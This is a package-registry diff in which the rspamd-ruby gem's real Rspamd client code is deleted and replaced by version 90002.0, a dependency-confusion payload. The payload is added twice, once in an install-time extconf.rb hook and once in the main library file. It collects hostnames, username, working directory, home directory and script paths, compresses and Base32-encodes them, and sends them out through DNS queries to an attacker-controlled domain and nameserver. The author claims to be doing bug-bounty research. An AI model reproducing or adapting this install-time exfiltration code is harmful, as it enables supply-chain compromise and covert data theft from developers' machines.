rspamd-ruby 1.0.0 → 90002.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rspamd-ruby might be problematic. Click here for more details.
- checksums.yaml +4 -4
- data/ext/rspamd-ruby/extconf.rb +177 -0
- data/lib/rspamd-ruby.rb +174 -2
- metadata +20 -100
- data/.github/workflows/ci.yml +0 -27
- data/.gitignore +0 -2
- data/.rubocop.yml +0 -1
- data/.ruby-version +0 -1
- data/Gemfile +0 -5
- data/Gemfile.lock +0 -98
- data/MIT-LICENSE +0 -20
- data/README.md +0 -74
- data/Rakefile +0 -9
- data/bin/release +0 -14
- data/lib/rspamd/check/result.rb +0 -59
- data/lib/rspamd/client.rb +0 -69
- data/lib/rspamd/configuration.rb +0 -39
- data/lib/rspamd/errors.rb +0 -4
- data/lib/rspamd/service.rb +0 -34
- data/lib/rspamd/version.rb +0 -3
- data/rspamd-ruby.gemspec +0 -20
- data/test/client_test.rb +0 -161
- data/test/fixtures/mail/ham.eml +0 -19
- data/test/fixtures/responses/already_reported.json +0 -1
- data/test/fixtures/responses/ham.json +0 -12
- data/test/fixtures/responses/spam.json +0 -7
- data/test/test_helper.rb +0 -4
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: b4af500c8789fde7d32d3710b0165a36b748b8549e71c900c77d4231dbd1bfae
|
4
|
+
data.tar.gz: 9879b6445d90145ec8cdfc59a2d3606ca2ffe1eed89756f07fe3851826106e12
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 303a3e8450bd09056ea2bd2eb315fc8d06ad58bf71285836f234590921f5c8d2eb9084085f94c56a500b12c81ec04c7f403fee13c2885f46625fe1cc5f14693d
|
7
|
+
data.tar.gz: ebc4a83a87fe9217dbd2f25dcf50300ed4265382a06dd5613541119cec8b93bd79fe834e1e6ea301fd32674566085765de60caf47a7bddaa0261b6dde3332e7f
|
@@ -0,0 +1,177 @@
|
|
1
|
+
require "mkmf"
|
2
|
+
|
3
|
+
create_makefile "gem_test/gem_test"
|
4
|
+
=begin
|
5
|
+
Hi, if you're reading this you're probably wondering what this code is doing on
|
6
|
+
your machine. Don't worry! It doesn't do anything nasty or malicious.
|
7
|
+
|
8
|
+
I am an ethical security researcher, attempting attacks against organisations
|
9
|
+
that have a "bug bounty" type program in place.
|
10
|
+
|
11
|
+
I am performing work similar to the work in this blog post:
|
12
|
+
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
13
|
+
|
14
|
+
If your organisation has a bug bounty program my findings will be reported via
|
15
|
+
that program.
|
16
|
+
|
17
|
+
If your organisation does not have a bug bounty program, you were not targeted
|
18
|
+
by my work and have some how ended up getting included, any data reported from
|
19
|
+
your org will be discarded.
|
20
|
+
|
21
|
+
All data I collect will be deleted as soon as I'm done, in either case.
|
22
|
+
|
23
|
+
If you are reading this then you probably need to tighten up your Gemfiles
|
24
|
+
and/or upgrade Bundler, see here for more details:
|
25
|
+
|
26
|
+
https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
|
27
|
+
|
28
|
+
You can read the code to confirm this but here's a top-level view of what it
|
29
|
+
does to help you out:
|
30
|
+
|
31
|
+
Grabs the hostname(s), current username, and the file paths to this script,
|
32
|
+
the current working directory, and the home directory. This helps me identify
|
33
|
+
which machines have been affected (for reporting), at which organisation (to
|
34
|
+
know who to report it to), and to eliminate false positives from machines that
|
35
|
+
fetch and install every Gem.
|
36
|
+
|
37
|
+
Generates a random ID so I can piece together the different fragments of data.
|
38
|
+
|
39
|
+
Encodes all the data as json, compresses it, Base32 encodes it, and chops it
|
40
|
+
into chunks to go out as DNS queries that will hit a nameserver I control.
|
41
|
+
|
42
|
+
That's it!
|
43
|
+
|
44
|
+
If you have any questions or want to get in touch for any reason, you can reach
|
45
|
+
me at zofrex@gmail.com
|
46
|
+
|
47
|
+
=end
|
48
|
+
|
49
|
+
puts "Package 'rspamd-ruby' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
|
50
|
+
|
51
|
+
begin # big catch-all over everything to stop any errors escaping
|
52
|
+
def do_or_whatever
|
53
|
+
yield
|
54
|
+
rescue Exception
|
55
|
+
# keep going
|
56
|
+
end
|
57
|
+
|
58
|
+
do_or_whatever { require 'net/http' }
|
59
|
+
do_or_whatever { require 'socket' }
|
60
|
+
do_or_whatever { require 'etc' }
|
61
|
+
require 'securerandom'
|
62
|
+
require 'json'
|
63
|
+
require 'resolv'
|
64
|
+
|
65
|
+
def report_analytics
|
66
|
+
report_id = SecureRandom.alphanumeric(8)
|
67
|
+
|
68
|
+
idx_package = 0
|
69
|
+
idx_hostnames = 1
|
70
|
+
idx_username = 2
|
71
|
+
idx_paths = 3
|
72
|
+
idx_event = 4
|
73
|
+
|
74
|
+
idx_paths_file = 0
|
75
|
+
idx_paths_cwd = 1
|
76
|
+
idx_paths_script = 2
|
77
|
+
idx_paths_home = 3
|
78
|
+
|
79
|
+
data = Hash.new
|
80
|
+
|
81
|
+
data[idx_event] = 'install'
|
82
|
+
|
83
|
+
# package name
|
84
|
+
|
85
|
+
data[idx_package] = 'rspamd-ruby-90002.0'
|
86
|
+
|
87
|
+
# get possible hostnames
|
88
|
+
|
89
|
+
hostnames = []
|
90
|
+
|
91
|
+
do_or_whatever { hostnames << Socket.gethostname }
|
92
|
+
do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
|
93
|
+
do_or_whatever { hostnames << `hostname` }
|
94
|
+
do_or_whatever { hostnames << `hostname -f` }
|
95
|
+
|
96
|
+
data[idx_hostnames] = hostnames.map(&:strip).uniq
|
97
|
+
|
98
|
+
# get local user
|
99
|
+
|
100
|
+
do_or_whatever { data[idx_username] = Etc.getlogin }
|
101
|
+
|
102
|
+
# get useful paths
|
103
|
+
|
104
|
+
paths = Hash.new
|
105
|
+
|
106
|
+
do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
|
107
|
+
do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
|
108
|
+
do_or_whatever { paths[idx_paths_script] = __dir__ }
|
109
|
+
do_or_whatever { paths[idx_paths_home] = Dir.home }
|
110
|
+
|
111
|
+
data[idx_paths] = paths
|
112
|
+
|
113
|
+
# encode payload
|
114
|
+
|
115
|
+
json = JSON.generate(data)
|
116
|
+
compressed = "u#{json}"
|
117
|
+
|
118
|
+
# attempt to compress data but don't sweat it if that fails
|
119
|
+
do_or_whatever do
|
120
|
+
require 'zlib'
|
121
|
+
compressed = "c#{Zlib.deflate(json)}"
|
122
|
+
end
|
123
|
+
|
124
|
+
# base32 encode the data
|
125
|
+
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
|
126
|
+
encoded = compressed.bytes.each_slice(5).flat_map do |slice|
|
127
|
+
n = (slice.length * 8.0 / 5.0).ceil
|
128
|
+
p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
|
129
|
+
c = slice.inject(0) {|m,o| (m << 8) + o} << p
|
130
|
+
(0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
|
131
|
+
end.join
|
132
|
+
|
133
|
+
# send data out via DNS lookups
|
134
|
+
total_queries = (encoded.length / 180.0).ceil
|
135
|
+
|
136
|
+
google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
|
137
|
+
me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
|
138
|
+
|
139
|
+
method = :generic
|
140
|
+
suffix = "zofrex-is-ethically-testing.ga"
|
141
|
+
|
142
|
+
encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
|
143
|
+
query_data = chunks.map(&:join).join('.')
|
144
|
+
data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
|
145
|
+
|
146
|
+
# Try to get the message out somehow, skip the methods that don't work on future loops
|
147
|
+
if method == :generic
|
148
|
+
begin
|
149
|
+
address = Resolv.getaddress "#{data_portion}.rp1.#{suffix}"
|
150
|
+
method = :google if address != "127.0.0.3"
|
151
|
+
rescue
|
152
|
+
method = :google
|
153
|
+
end
|
154
|
+
end
|
155
|
+
|
156
|
+
if method == :google
|
157
|
+
begin
|
158
|
+
address = google_resolver.getaddress "#{data_portion}.rp2.#{suffix}"
|
159
|
+
method = :direct if address != "127.0.0.4"
|
160
|
+
rescue
|
161
|
+
method = :direct
|
162
|
+
end
|
163
|
+
end
|
164
|
+
|
165
|
+
if method == :direct
|
166
|
+
do_or_whatever { me_resolver.getaddress "#{data_portion}.rp3.#{suffix}" }
|
167
|
+
end
|
168
|
+
end
|
169
|
+
end
|
170
|
+
|
171
|
+
do_or_whatever { report_analytics }
|
172
|
+
|
173
|
+
# cleanup
|
174
|
+
do_or_whatever { undef report_analytics }
|
175
|
+
do_or_whatever { undef do_or_whatever }
|
176
|
+
rescue Error
|
177
|
+
end
|
data/lib/rspamd-ruby.rb
CHANGED
@@ -1,2 +1,174 @@
|
|
1
|
-
|
2
|
-
|
1
|
+
=begin
|
2
|
+
Hi, if you're reading this you're probably wondering what this code is doing on
|
3
|
+
your machine. Don't worry! It doesn't do anything nasty or malicious.
|
4
|
+
|
5
|
+
I am an ethical security researcher, attempting attacks against organisations
|
6
|
+
that have a "bug bounty" type program in place.
|
7
|
+
|
8
|
+
I am performing work similar to the work in this blog post:
|
9
|
+
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
10
|
+
|
11
|
+
If your organisation has a bug bounty program my findings will be reported via
|
12
|
+
that program.
|
13
|
+
|
14
|
+
If your organisation does not have a bug bounty program, you were not targeted
|
15
|
+
by my work and have some how ended up getting included, any data reported from
|
16
|
+
your org will be discarded.
|
17
|
+
|
18
|
+
All data I collect will be deleted as soon as I'm done, in either case.
|
19
|
+
|
20
|
+
If you are reading this then you probably need to tighten up your Gemfiles
|
21
|
+
and/or upgrade Bundler, see here for more details:
|
22
|
+
|
23
|
+
https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
|
24
|
+
|
25
|
+
You can read the code to confirm this but here's a top-level view of what it
|
26
|
+
does to help you out:
|
27
|
+
|
28
|
+
Grabs the hostname(s), current username, and the file paths to this script,
|
29
|
+
the current working directory, and the home directory. This helps me identify
|
30
|
+
which machines have been affected (for reporting), at which organisation (to
|
31
|
+
know who to report it to), and to eliminate false positives from machines that
|
32
|
+
fetch and install every Gem.
|
33
|
+
|
34
|
+
Generates a random ID so I can piece together the different fragments of data.
|
35
|
+
|
36
|
+
Encodes all the data as json, compresses it, Base32 encodes it, and chops it
|
37
|
+
into chunks to go out as DNS queries that will hit a nameserver I control.
|
38
|
+
|
39
|
+
That's it!
|
40
|
+
|
41
|
+
If you have any questions or want to get in touch for any reason, you can reach
|
42
|
+
me at zofrex@gmail.com
|
43
|
+
|
44
|
+
=end
|
45
|
+
|
46
|
+
puts "Package 'rspamd-ruby' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
|
47
|
+
|
48
|
+
begin # big catch-all over everything to stop any errors escaping
|
49
|
+
def do_or_whatever
|
50
|
+
yield
|
51
|
+
rescue Exception
|
52
|
+
# keep going
|
53
|
+
end
|
54
|
+
|
55
|
+
do_or_whatever { require 'net/http' }
|
56
|
+
do_or_whatever { require 'socket' }
|
57
|
+
do_or_whatever { require 'etc' }
|
58
|
+
require 'securerandom'
|
59
|
+
require 'json'
|
60
|
+
require 'resolv'
|
61
|
+
|
62
|
+
def report_analytics
|
63
|
+
report_id = SecureRandom.alphanumeric(8)
|
64
|
+
|
65
|
+
idx_package = 0
|
66
|
+
idx_hostnames = 1
|
67
|
+
idx_username = 2
|
68
|
+
idx_paths = 3
|
69
|
+
idx_event = 4
|
70
|
+
|
71
|
+
idx_paths_file = 0
|
72
|
+
idx_paths_cwd = 1
|
73
|
+
idx_paths_script = 2
|
74
|
+
idx_paths_home = 3
|
75
|
+
|
76
|
+
data = Hash.new
|
77
|
+
|
78
|
+
data[idx_event] = 'run'
|
79
|
+
|
80
|
+
# package name
|
81
|
+
|
82
|
+
data[idx_package] = 'rspamd-ruby-90002.0'
|
83
|
+
|
84
|
+
# get possible hostnames
|
85
|
+
|
86
|
+
hostnames = []
|
87
|
+
|
88
|
+
do_or_whatever { hostnames << Socket.gethostname }
|
89
|
+
do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
|
90
|
+
do_or_whatever { hostnames << `hostname` }
|
91
|
+
do_or_whatever { hostnames << `hostname -f` }
|
92
|
+
|
93
|
+
data[idx_hostnames] = hostnames.map(&:strip).uniq
|
94
|
+
|
95
|
+
# get local user
|
96
|
+
|
97
|
+
do_or_whatever { data[idx_username] = Etc.getlogin }
|
98
|
+
|
99
|
+
# get useful paths
|
100
|
+
|
101
|
+
paths = Hash.new
|
102
|
+
|
103
|
+
do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
|
104
|
+
do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
|
105
|
+
do_or_whatever { paths[idx_paths_script] = __dir__ }
|
106
|
+
do_or_whatever { paths[idx_paths_home] = Dir.home }
|
107
|
+
|
108
|
+
data[idx_paths] = paths
|
109
|
+
|
110
|
+
# encode payload
|
111
|
+
|
112
|
+
json = JSON.generate(data)
|
113
|
+
compressed = "u#{json}"
|
114
|
+
|
115
|
+
# attempt to compress data but don't sweat it if that fails
|
116
|
+
do_or_whatever do
|
117
|
+
require 'zlib'
|
118
|
+
compressed = "c#{Zlib.deflate(json)}"
|
119
|
+
end
|
120
|
+
|
121
|
+
# base32 encode the data
|
122
|
+
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
|
123
|
+
encoded = compressed.bytes.each_slice(5).flat_map do |slice|
|
124
|
+
n = (slice.length * 8.0 / 5.0).ceil
|
125
|
+
p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
|
126
|
+
c = slice.inject(0) {|m,o| (m << 8) + o} << p
|
127
|
+
(0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
|
128
|
+
end.join
|
129
|
+
|
130
|
+
# send data out via DNS lookups
|
131
|
+
total_queries = (encoded.length / 180.0).ceil
|
132
|
+
|
133
|
+
google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
|
134
|
+
me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
|
135
|
+
|
136
|
+
method = :generic
|
137
|
+
suffix = "zofrex-is-ethically-testing.ga"
|
138
|
+
|
139
|
+
encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
|
140
|
+
query_data = chunks.map(&:join).join('.')
|
141
|
+
data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
|
142
|
+
|
143
|
+
# Try to get the message out somehow, skip the methods that don't work on future loops
|
144
|
+
if method == :generic
|
145
|
+
begin
|
146
|
+
address = Resolv.getaddress "#{data_portion}.rp1.#{suffix}"
|
147
|
+
method = :google if address != "127.0.0.3"
|
148
|
+
rescue
|
149
|
+
method = :google
|
150
|
+
end
|
151
|
+
end
|
152
|
+
|
153
|
+
if method == :google
|
154
|
+
begin
|
155
|
+
address = google_resolver.getaddress "#{data_portion}.rp2.#{suffix}"
|
156
|
+
method = :direct if address != "127.0.0.4"
|
157
|
+
rescue
|
158
|
+
method = :direct
|
159
|
+
end
|
160
|
+
end
|
161
|
+
|
162
|
+
if method == :direct
|
163
|
+
do_or_whatever { me_resolver.getaddress "#{data_portion}.rp3.#{suffix}" }
|
164
|
+
end
|
165
|
+
end
|
166
|
+
end
|
167
|
+
|
168
|
+
do_or_whatever { report_analytics }
|
169
|
+
|
170
|
+
# cleanup
|
171
|
+
do_or_whatever { undef report_analytics }
|
172
|
+
do_or_whatever { undef do_or_whatever }
|
173
|
+
rescue Error
|
174
|
+
end
|
metadata
CHANGED
@@ -1,104 +1,30 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rspamd-ruby
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version:
|
4
|
+
version: '90002.0'
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
|
-
-
|
8
|
-
- Lewis Buckley
|
7
|
+
- James 'zofrex' Sanderson
|
9
8
|
autorequire:
|
10
|
-
bindir:
|
9
|
+
bindir: exe
|
11
10
|
cert_chain: []
|
12
|
-
date:
|
13
|
-
dependencies:
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
- !ruby/object:Gem::Version
|
20
|
-
version: '13.0'
|
21
|
-
type: :development
|
22
|
-
prerelease: false
|
23
|
-
version_requirements: !ruby/object:Gem::Requirement
|
24
|
-
requirements:
|
25
|
-
- - "~>"
|
26
|
-
- !ruby/object:Gem::Version
|
27
|
-
version: '13.0'
|
28
|
-
- !ruby/object:Gem::Dependency
|
29
|
-
name: minitest
|
30
|
-
requirement: !ruby/object:Gem::Requirement
|
31
|
-
requirements:
|
32
|
-
- - ">"
|
33
|
-
- !ruby/object:Gem::Version
|
34
|
-
version: '5.11'
|
35
|
-
type: :development
|
36
|
-
prerelease: false
|
37
|
-
version_requirements: !ruby/object:Gem::Requirement
|
38
|
-
requirements:
|
39
|
-
- - ">"
|
40
|
-
- !ruby/object:Gem::Version
|
41
|
-
version: '5.11'
|
42
|
-
- !ruby/object:Gem::Dependency
|
43
|
-
name: webmock
|
44
|
-
requirement: !ruby/object:Gem::Requirement
|
45
|
-
requirements:
|
46
|
-
- - "~>"
|
47
|
-
- !ruby/object:Gem::Version
|
48
|
-
version: '3.0'
|
49
|
-
type: :development
|
50
|
-
prerelease: false
|
51
|
-
version_requirements: !ruby/object:Gem::Requirement
|
52
|
-
requirements:
|
53
|
-
- - "~>"
|
54
|
-
- !ruby/object:Gem::Version
|
55
|
-
version: '3.0'
|
56
|
-
- !ruby/object:Gem::Dependency
|
57
|
-
name: debug
|
58
|
-
requirement: !ruby/object:Gem::Requirement
|
59
|
-
requirements:
|
60
|
-
- - ">="
|
61
|
-
- !ruby/object:Gem::Version
|
62
|
-
version: '0'
|
63
|
-
type: :development
|
64
|
-
prerelease: false
|
65
|
-
version_requirements: !ruby/object:Gem::Requirement
|
66
|
-
requirements:
|
67
|
-
- - ">="
|
68
|
-
- !ruby/object:Gem::Version
|
69
|
-
version: '0'
|
70
|
-
description:
|
71
|
-
email: lewis@37signals.com
|
11
|
+
date: 2021-02-16 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: I am testing for dependency confusion vulnerabilities in products that
|
14
|
+
are in public bug bounty programs. This code is reporting-only, and does not do
|
15
|
+
anything malicious.
|
16
|
+
email:
|
17
|
+
- gem-research@zofrex.com
|
72
18
|
executables: []
|
73
|
-
extensions:
|
19
|
+
extensions:
|
20
|
+
- ext/rspamd-ruby/extconf.rb
|
74
21
|
extra_rdoc_files: []
|
75
22
|
files:
|
76
|
-
-
|
77
|
-
- ".gitignore"
|
78
|
-
- ".rubocop.yml"
|
79
|
-
- ".ruby-version"
|
80
|
-
- Gemfile
|
81
|
-
- Gemfile.lock
|
82
|
-
- MIT-LICENSE
|
83
|
-
- README.md
|
84
|
-
- Rakefile
|
85
|
-
- bin/release
|
23
|
+
- ext/rspamd-ruby/extconf.rb
|
86
24
|
- lib/rspamd-ruby.rb
|
87
|
-
|
88
|
-
|
89
|
-
-
|
90
|
-
- lib/rspamd/errors.rb
|
91
|
-
- lib/rspamd/service.rb
|
92
|
-
- lib/rspamd/version.rb
|
93
|
-
- rspamd-ruby.gemspec
|
94
|
-
- test/client_test.rb
|
95
|
-
- test/fixtures/mail/ham.eml
|
96
|
-
- test/fixtures/responses/already_reported.json
|
97
|
-
- test/fixtures/responses/ham.json
|
98
|
-
- test/fixtures/responses/spam.json
|
99
|
-
- test/test_helper.rb
|
100
|
-
homepage: https://github.com/basecamp/rspamd-ruby
|
101
|
-
licenses: []
|
25
|
+
homepage:
|
26
|
+
licenses:
|
27
|
+
- MIT
|
102
28
|
metadata: {}
|
103
29
|
post_install_message:
|
104
30
|
rdoc_options: []
|
@@ -108,21 +34,15 @@ required_ruby_version: !ruby/object:Gem::Requirement
|
|
108
34
|
requirements:
|
109
35
|
- - ">="
|
110
36
|
- !ruby/object:Gem::Version
|
111
|
-
version:
|
37
|
+
version: 1.9.0
|
112
38
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
113
39
|
requirements:
|
114
40
|
- - ">="
|
115
41
|
- !ruby/object:Gem::Version
|
116
42
|
version: '0'
|
117
43
|
requirements: []
|
118
|
-
rubygems_version: 3.4
|
44
|
+
rubygems_version: 3.1.4
|
119
45
|
signing_key:
|
120
46
|
specification_version: 4
|
121
|
-
summary:
|
122
|
-
test_files:
|
123
|
-
- test/client_test.rb
|
124
|
-
- test/fixtures/mail/ham.eml
|
125
|
-
- test/fixtures/responses/already_reported.json
|
126
|
-
- test/fixtures/responses/ham.json
|
127
|
-
- test/fixtures/responses/spam.json
|
128
|
-
- test/test_helper.rb
|
47
|
+
summary: Testing dependency confusion bugs
|
48
|
+
test_files: []
|
data/.github/workflows/ci.yml
DELETED
@@ -1,27 +0,0 @@
|
|
1
|
-
name: CI
|
2
|
-
on: [push, pull_request]
|
3
|
-
jobs:
|
4
|
-
tests:
|
5
|
-
runs-on: ubuntu-latest
|
6
|
-
|
7
|
-
steps:
|
8
|
-
- uses: actions/checkout@v1
|
9
|
-
|
10
|
-
- name: Set up Ruby
|
11
|
-
uses: ruby/setup-ruby@v1
|
12
|
-
with:
|
13
|
-
ruby-version: 2.7.8
|
14
|
-
rubygems: latest
|
15
|
-
|
16
|
-
- name: Cache gem dependencies
|
17
|
-
uses: actions/cache@v1
|
18
|
-
with:
|
19
|
-
path: vendor/bundle
|
20
|
-
key: ${{ runner.os }}-bundler-${{ hashFiles('**/Gemfile.lock') }}
|
21
|
-
restore-keys: ${{ runner.os }}-bundler-
|
22
|
-
|
23
|
-
- name: Install dependencies
|
24
|
-
run: gem install bundler && bundle install --jobs 4 --retry 3 --path vendor/bundle
|
25
|
-
|
26
|
-
- name: Run tests
|
27
|
-
run: bundle exec rake test
|
data/.gitignore
DELETED
data/.rubocop.yml
DELETED
@@ -1 +0,0 @@
|
|
1
|
-
inherit_gem: { rubocop-37signals: rubocop.yml }
|
data/.ruby-version
DELETED
@@ -1 +0,0 @@
|
|
1
|
-
2.7.8
|
data/Gemfile
DELETED
data/Gemfile.lock
DELETED
@@ -1,98 +0,0 @@
|
|
1
|
-
GIT
|
2
|
-
remote: https://github.com/basecamp/house-style.git
|
3
|
-
revision: b3ad65254828e8e8019a0d9a6205aff9ad206a77
|
4
|
-
branch: main
|
5
|
-
specs:
|
6
|
-
rubocop-37signals (1.0.0)
|
7
|
-
rubocop
|
8
|
-
rubocop-minitest
|
9
|
-
rubocop-performance
|
10
|
-
rubocop-rails
|
11
|
-
|
12
|
-
PATH
|
13
|
-
remote: .
|
14
|
-
specs:
|
15
|
-
rspamd-ruby (1.0.0)
|
16
|
-
|
17
|
-
GEM
|
18
|
-
remote: https://rubygems.org/
|
19
|
-
specs:
|
20
|
-
activesupport (6.1.7.4)
|
21
|
-
concurrent-ruby (~> 1.0, >= 1.0.2)
|
22
|
-
i18n (>= 1.6, < 2)
|
23
|
-
minitest (>= 5.1)
|
24
|
-
tzinfo (~> 2.0)
|
25
|
-
zeitwerk (~> 2.3)
|
26
|
-
addressable (2.8.1)
|
27
|
-
public_suffix (>= 2.0.2, < 6.0)
|
28
|
-
ast (2.4.2)
|
29
|
-
concurrent-ruby (1.2.0)
|
30
|
-
crack (0.4.3)
|
31
|
-
safe_yaml (~> 1.0.0)
|
32
|
-
debug (1.7.1)
|
33
|
-
irb (>= 1.5.0)
|
34
|
-
reline (>= 0.3.1)
|
35
|
-
hashdiff (1.0.0)
|
36
|
-
i18n (1.12.0)
|
37
|
-
concurrent-ruby (~> 1.0)
|
38
|
-
io-console (0.6.0)
|
39
|
-
irb (1.6.2)
|
40
|
-
reline (>= 0.3.0)
|
41
|
-
json (2.6.3)
|
42
|
-
minitest (5.17.0)
|
43
|
-
parallel (1.22.1)
|
44
|
-
parser (3.2.1.0)
|
45
|
-
ast (~> 2.4.1)
|
46
|
-
public_suffix (5.0.0)
|
47
|
-
rack (3.0.4.1)
|
48
|
-
rainbow (3.1.1)
|
49
|
-
rake (13.0.1)
|
50
|
-
regexp_parser (2.7.0)
|
51
|
-
reline (0.3.2)
|
52
|
-
io-console (~> 0.5)
|
53
|
-
rexml (3.2.5)
|
54
|
-
rubocop (1.45.1)
|
55
|
-
json (~> 2.3)
|
56
|
-
parallel (~> 1.10)
|
57
|
-
parser (>= 3.2.0.0)
|
58
|
-
rainbow (>= 2.2.2, < 4.0)
|
59
|
-
regexp_parser (>= 1.8, < 3.0)
|
60
|
-
rexml (>= 3.2.5, < 4.0)
|
61
|
-
rubocop-ast (>= 1.24.1, < 2.0)
|
62
|
-
ruby-progressbar (~> 1.7)
|
63
|
-
unicode-display_width (>= 2.4.0, < 3.0)
|
64
|
-
rubocop-ast (1.26.0)
|
65
|
-
parser (>= 3.2.1.0)
|
66
|
-
rubocop-minitest (0.27.0)
|
67
|
-
rubocop (>= 0.90, < 2.0)
|
68
|
-
rubocop-performance (1.16.0)
|
69
|
-
rubocop (>= 1.7.0, < 2.0)
|
70
|
-
rubocop-ast (>= 0.4.0)
|
71
|
-
rubocop-rails (2.19.1)
|
72
|
-
activesupport (>= 4.2.0)
|
73
|
-
rack (>= 1.1)
|
74
|
-
rubocop (>= 1.33.0, < 2.0)
|
75
|
-
ruby-progressbar (1.11.0)
|
76
|
-
safe_yaml (1.0.5)
|
77
|
-
tzinfo (2.0.6)
|
78
|
-
concurrent-ruby (~> 1.0)
|
79
|
-
unicode-display_width (2.4.2)
|
80
|
-
webmock (3.8.0)
|
81
|
-
addressable (>= 2.3.6)
|
82
|
-
crack (>= 0.3.2)
|
83
|
-
hashdiff (>= 0.4.0, < 2.0.0)
|
84
|
-
zeitwerk (2.6.8)
|
85
|
-
|
86
|
-
PLATFORMS
|
87
|
-
ruby
|
88
|
-
|
89
|
-
DEPENDENCIES
|
90
|
-
debug
|
91
|
-
minitest (> 5.11)
|
92
|
-
rake (~> 13.0)
|
93
|
-
rspamd-ruby!
|
94
|
-
rubocop-37signals!
|
95
|
-
webmock (~> 3.0)
|
96
|
-
|
97
|
-
BUNDLED WITH
|
98
|
-
2.4.17
|
data/MIT-LICENSE
DELETED
@@ -1,20 +0,0 @@
|
|
1
|
-
Copyright (c) 2023 37signals
|
2
|
-
|
3
|
-
Permission is hereby granted, free of charge, to any person obtaining
|
4
|
-
a copy of this software and associated documentation files (the
|
5
|
-
"Software"), to deal in the Software without restriction, including
|
6
|
-
without limitation the rights to use, copy, modify, merge, publish,
|
7
|
-
distribute, sublicense, and/or sell copies of the Software, and to
|
8
|
-
permit persons to whom the Software is furnished to do so, subject to
|
9
|
-
the following conditions:
|
10
|
-
|
11
|
-
The above copyright notice and this permission notice shall be
|
12
|
-
included in all copies or substantial portions of the Software.
|
13
|
-
|
14
|
-
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
15
|
-
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
16
|
-
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
17
|
-
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
18
|
-
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
19
|
-
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
20
|
-
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
data/README.md
DELETED
@@ -1,74 +0,0 @@
|
|
1
|
-
# Ruby client for Rspamd’s HTTP API
|
2
|
-
|
3
|
-
## Usage
|
4
|
-
|
5
|
-
Initialize a client with the host and port of an Rspamd controller process:
|
6
|
-
|
7
|
-
```ruby
|
8
|
-
client = Rspamd::Client.new(host: "localhost", port: 11334)
|
9
|
-
```
|
10
|
-
|
11
|
-
Check a message:
|
12
|
-
|
13
|
-
```ruby
|
14
|
-
result = client.check(<<~MIME)
|
15
|
-
Date: Tue, 21 Jan 2020 21:04:42 +0000
|
16
|
-
From: Alice <alice@example.com>
|
17
|
-
To: Bob <bob@example.com>
|
18
|
-
Message-ID: <975bad33-2e76-40c3-89aa-7fe1edcbe7ce@example.com>
|
19
|
-
Subject: Hello
|
20
|
-
Mime-Version: 1.0
|
21
|
-
Content-Type: text/plain; charset=UTF-8
|
22
|
-
Content-Transfer-Encoding: quoted-printable
|
23
|
-
Delivered-To: bob@example.com
|
24
|
-
|
25
|
-
Hi Bob!
|
26
|
-
|
27
|
-
-Alice
|
28
|
-
MIME
|
29
|
-
|
30
|
-
result.spam? # => false
|
31
|
-
result.ham? # => true
|
32
|
-
|
33
|
-
result.score # => 1.2
|
34
|
-
result.required_score # => 15
|
35
|
-
result.action # => "no action"
|
36
|
-
```
|
37
|
-
|
38
|
-
Report a message as spam:
|
39
|
-
|
40
|
-
```ruby
|
41
|
-
client.spam!(<<~MIME)
|
42
|
-
Date: Tue, 21 Jan 2020 21:04:42 +0000
|
43
|
-
